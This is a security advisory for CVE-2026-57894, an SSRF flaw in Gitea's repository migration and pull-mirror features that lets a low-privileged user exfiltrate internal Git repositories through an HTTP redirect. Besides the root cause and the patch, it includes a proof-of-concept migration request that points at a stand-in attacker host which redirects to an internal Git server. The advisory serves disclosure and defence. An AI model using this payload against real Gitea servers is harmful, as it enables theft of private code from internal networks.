high · 8.5CVE-2026-57894Jul 21, 2026

CVE-2026-57894: Gitea Repository Migration SSRF via Git HTTP Redirect

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A low-privileged Gitea user can supply a migration URL that redirects the server's git clone to a blocked internal endpoint, bypassing the URL allow/block list and exfiltrating private Git repositorie

Packagecode.gitea.io/gitea
Ecosystemgo
Affected< 1.27.0
Fixed in1.27.0

The problem

Gitea validates the user-supplied migration URL before cloning, but then passes that same URL to a bare `git clone --mirror` subprocess. Git's default `http.followRedirects=initial` follows the first HTTP redirect transparently, so the effective network destination is never re-checked against the allow/block list.

Any low-privileged authenticated user (or self-registered user on open-registration instances) can submit a public URL that passes validation. If that URL redirects to an internal Git HTTP(S) service, git fetches the internal repo and Gitea imports it into the attacker's account.

Pull mirrors make this persistent: every scheduled `git fetch --tags` follows the same redirect, pulling future commits from the internal target.

Proof of concept

A working proof-of-concept for CVE-2026-57894 in code.gitea.io/gitea, with the exact payload below.

http
POST /api/v1/repos/migrate HTTP/1.1
Host: gitea.example.com
Authorization: token <low-priv-token>
Content-Type: application/json

{
  "clone_addr": "http://attacker.example/redirect-to-internal.git",
  "repo_name": "exfil",
  "mirror": true,
  "service": "git"
}

# attacker.example/redirect-to-internal.git responds with:
# HTTP/1.1 302 Found
# Location: http://internal-git.corp.local/team/private.git/info/refs?service=git-upload-pack
#
# git follows the redirect, fetches objects from internal-git.corp.local,
# and Gitea stores the cloned content in the attacker-owned repo.

The root cause is a check-then-act gap across a trust boundary. `IsMigrateURLAllowed` resolves and validates the originally submitted host (migrations/migrate.go:85-86), but the validated URL is then handed unchanged to `git clone` in modules/git/repo.go:123. Git's `http.followRedirects` defaults to `initial`, meaning it follows the first redirect and uses the redirected URL as the base for all subsequent object requests.

No equivalent policy runs against the redirected destination.

The patch (PR #38320) adds `-c http.followRedirects=false` to the `git clone` command used for migration clones and to the `git fetch --tags` command used for pull mirror sync. This forces git to abort on any HTTP redirect rather than follow it, closing the gap between what Gitea validates and what git actually reaches.

CWE-918 (SSRF) applies directly: the server makes outbound network requests to a destination chosen by the attacker.

The fix

Upgrade to Gitea 1.27.0. The fix (PR #38320) passes `-c http.followRedirects=false` to every `git clone` and `git fetch` invocation in the migration and mirror-sync code paths. As a defense-in-depth measure, enforce egress restrictions on the Gitea process to block RFC1918, loopback, link-local, and cloud metadata ranges, disable repository migrations and pull mirrors where not operationally needed, and require authentication on all internal Git HTTP endpoints.

Reported by cyberlanc3r.

References: [1][2][3]

Related research